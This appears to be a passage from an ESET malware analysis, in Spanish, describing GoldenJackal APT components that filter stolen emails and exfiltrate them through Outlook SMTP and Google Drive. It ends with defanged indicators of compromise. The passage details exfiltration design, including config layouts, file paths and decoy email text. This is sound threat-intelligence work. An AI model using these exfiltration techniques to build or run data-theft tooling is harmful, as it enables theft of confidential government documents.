El archivo descifrado, update46.tar.gz, se extrae en memoria, y sólo los archivos que cumplen ciertos criterios se escriben en un subdirectorio tmp, en el directorio donde se ejecuta el malware. Criterios:

• El archivo no contiene ningún correo electrónico en una lista de bloqueo de direcciones de correo electrónico. Esto se hace para eliminar los mensajes de correo electrónico que proceden de remitentes que no suelen ser interesantes. Aunque no podemos incluir la lista completa aquí, vale la pena mencionar que muchas de las direcciones de correo electrónico están relacionadas con boletines y comunicados de prensa. Es importante señalar que los atacantes deben haber estado operando durante algún tiempo para construir una lista como esta.
• El archivo contiene la cadena Content-Type: application. Esto es para mantener los mensajes de correo electrónico que tienen archivos adjuntos, como archivos PDF, archivos de Microsoft Office y archivos comprimidos, por nombrar algunos.

Una vez seleccionados los archivos, GoldenBlacklist archiva el directorio tmp y lo cifra con openssl.exe, utilizando la misma clave de cifrado que la utilizada para descifrar el archivo inicial. El archivo resultante es archive.out. A continuación, se eliminan todos los archivos y carpetas intermedios, así como openssl.exe, libssl-3-x64.dll y libcrypto-3-x64.dll, todos ellos ubicados en el directorio del malware. Esto indica que otro componente que no observamos copió esos binarios legítimos allí en primer lugar.

GoldenPyBlacklist

GoldenPyBlacklist es una implementación en Python de GoldenBlacklist. Fue empaquetada con PyInstaller y el nombre original del script es duplxer_black_list_for_external_use.py. Algunas diferencias con el otro componente son:

• el archivo inicial se escribe como ress.out,
• la clave para el descifrado es la misma, excepto por un primer carácter diferente,
• el archivo descifrado se extrae al directorio C:\Windows\System32\temp para su procesamiento,
• se añade un criterio adicional para la selección de archivos para procesar sólo los nombres de archivo que terminan en .msg (se trata de archivos creados con Microsoft Outlook),
• los archivos que no cumplen los criterios se eliminan,
• el archivo final se crea con el archivador 7-Zip, y
• el archivo final encriptado se llama ArcSrvcUI.ter.

GoldenMailer

Clasificado como un componente de exfiltración, GoldenMailer exfiltra archivos enviando correos electrónicos con archivos adjuntos a cuentas controladas por atacantes. Fue escrito en Python y empaquetado con PyInstaller, y el nombre original del script es send_to_hole.py. GoldenMailer se conecta a servidores legítimos - ya sea smtp-mail.outlook.com o smtp.office365.com - para enviar mensajes de correo electrónico, utilizando SMTP en el puerto 587.

La configuración se lee de un archivo, C:\ProgramData\Microsoft\Windows\Caches\cversions.ini, en el mismo directorio donde se ejecuta GoldenMailer. La configuración consiste en las siguientes cinco líneas

• dirección de correo electrónico para autenticarse en el servidor SMTP, y para utilizarla como dirección de remitente y de destino,
• contraseña para autenticarse en el servidor SMTP,
• ruta al directorio con los archivos a filtrar,
• nombre de archivo base (por ejemplo, press.pdf) utilizado para los archivos que se van a filtrar; estos archivos utilizan la siguiente convención de nomenclatura: <base_filename>.<three_digit_sequence_number>, y
• número de archivos a exfiltrar.

Observamos que este archivo de configuración se copió de otro PC de la red local. Dado que el archivo de configuración indica cuántos archivos están disponibles para ser exfiltrados, suponemos que estos archivos también deben ser copiados a través de la red, separando las tareas de recolección, distribución y exfiltración. Es probable que el archivo de configuración sea generado por el componente encargado de recopilar los archivos y crear los archivos para la exfiltración, pero no observamos dicho componente.

La figura 10 muestra un ejemplo de mensaje de correo electrónico enviado por GoldenMailer. El asunto tiene un error tipográfico: se lee Press realese. El cuerpo es muy simple y dice NDaily News about Israel-Hamas war. Estas cadenas están codificadas en el binario del malware. Sólo se envía un archivo adjunto por correo electrónico; si hay muchos archivos que exfiltrar, se envía un correo electrónico por cada uno.

Los archivos de configuración que observamos contenían las siguientes direcciones de correo electrónico

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

GoldenDrive

A diferencia de GoldenMailer, este componente exfiltra archivos subiéndolos a Google Drive. Las credenciales necesarias se encuentran en dos archivos, que están codificados en el malware: credentials.json, que contiene campos como client_id y client_secret, y token.json, con campos como access_token y refresh_token. Aquí se puede encontrar una referencia a la API de Google Drive y algunos fragmentos de código en el lenguaje de programación Go.

Al igual que GoldenMailer, este componente sólo puede subir un archivo a la vez. GoldenDrive se ejecuta con un argumento que proporciona la ruta completa al archivo a subir.

Conclusión

En este blogpost, hemos revelado dos nuevos conjuntos de herramientas utilizadas por el grupo APT GoldenJackal para atacar los sistemas de seguridad airgap de las organizaciones gubernamentales, incluidas las europeas. Las funcionalidades comunes incluyen el uso de unidades USB para robar documentos confidenciales.

El hecho de haber conseguido desplegar dos conjuntos de herramientas distintos para penetrar en redes protegidas desde el aire en tan sólo cinco años demuestra que GoldenJackal es un sofisticado actor de amenazas consciente de la segmentación de redes que utilizan sus objetivos.

En nuestro repositorio de GitHub encontrará una lista completa de indicadores de compromiso (IoC).

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, por favor contáctenos en threatintel@eset.com.

ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Archivos

Red

Direcciones de correo electrónico

• mariaalpane@outlook[.]com
• katemarien087@outlook[.]com
• spanosmitsotakis@outlook[.]com

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 15 del marco MITRE ATT&CK.